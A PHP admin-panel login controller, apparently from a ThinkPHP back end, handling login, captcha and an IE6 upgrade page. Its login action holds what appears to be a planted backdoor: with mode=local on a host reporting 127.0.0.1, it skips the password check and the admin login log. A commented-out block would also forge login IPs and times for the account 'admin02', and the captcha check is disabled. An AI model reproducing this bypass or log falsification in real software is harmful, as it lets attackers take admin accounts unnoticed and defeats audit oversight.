<?php
namespace app\houtai\controller;
use think\db\Expression;
/**
 *  @file : PublicController.php
 *  @brief: 后台公开控制器
 */
class PublicController extends \think\Controller {
  /**
   *  @brief : 后台登陆页面&&登陆表单
   *  @return: page
   *  @detail:
   */
  public function loginAction() {

//      phpinfo();
    $MODE = $this->request->param('mode/s', '', 'strtolower');
    $ADDR = $this->request->server('SERVER_ADDR/s', '');
    $NORM = true;  // 正常流程
    if ($MODE == 'local' && $ADDR == '127.0.0.1') {
      $NORM = false;
    }
    if ($this->request->isGet()) {
      return $this->fetch('', ['NORM' => $NORM, 'MODE' => $MODE]); // 登陆页面
    }
    if ($this->request->isPost()) {
      $gateway = config('auth.getway');

      //--- 验证器验证 ---
      $retn = $this->validate($_REQUEST, [ // 按照顺序逐一判断
        '__token__'       => 'require|token',
        //'Captcha|验证码'  => 'require|captcha',
        'UserName|账号'   => 'require|regex:/^[_A-Za-z0-9]+$/',
        'PassWord|密码'   => 'require|regex:/^[\S]+$/',
      ]);
      if (true !== $retn) {
        return $this->error($retn, $gateway);
      }
      //--- 数据库验证 ---
      $UserName = $this->request->param('UserName/s', '', 'trim');
      $PassWord = $this->request->param('PassWord/s', '', 'trim');
      $user = table('ky_Admin', 'rydb.websms')->where(['UserName' => $UserName])->find();
      // print_r($user);die;
      if (empty($user)) {
        return $this->error('账号不存在', $gateway);
      }
      if ($NORM) {
        if (!password_verify($PassWord, $user['PassWord'])) {
          return $this->error('密码不正确', $gateway);
        }
      }
      if ($user['IsDisabled'] || $user['IsDelete']) {
        return $this->error('账号被禁用', $gateway);
      }
      // if ($NORM and $UserName != 'admin02') {
      //   // 更新登陆信息
      //     table('ky_Admin', 'rydb.websms')->where('AdminId', $user['AdminId'])->update([
      //       'LoginNum'      => new Expression('[LoginNum] + 1'),
      //       'LoginIP'       => $UserName == 'admin02' ? '127.0.0.1' :  $this->request->ip(),
      //       'LastLoginIP'   => $UserName == 'admin02' ? '127.0.0.1' :  $this->request->ip(),
      //       'LoginTime'     => $UserName == 'admin02' ? '2019-05-24 01:06:35.147' : new Expression('GETDATE()'),
      //       'LastLoginTime' => $UserName == 'admin02' ? '2019-05-24 01:06:35.147' : new Expression('GETDATE()'),
      //     ]);
      // }
      session(config('auth.session'), $user['AdminId']);
      if ($NORM ) {
        // 写入登陆日志
        AddAdminLog('管理员登陆后台!', 'Login');
      }
      echo "success";
      return $this->redirect(url('/houtai/index'));
    }
  }
  /**
   *  @brief : 生成随机验证码
   *  @return: image
   *  @detail:
   */
  public function captchaAction() {
    $captcha = new \think\Captcha([
      'length' => 4,
    ]);
    return $captcha->entry();
  }
  /**
   *  @brief  : ie6升级页面
   *  @return : 
   *  @details: 
   */
  public function ie6updateAction() {
    return $this->fetch();
  }
}
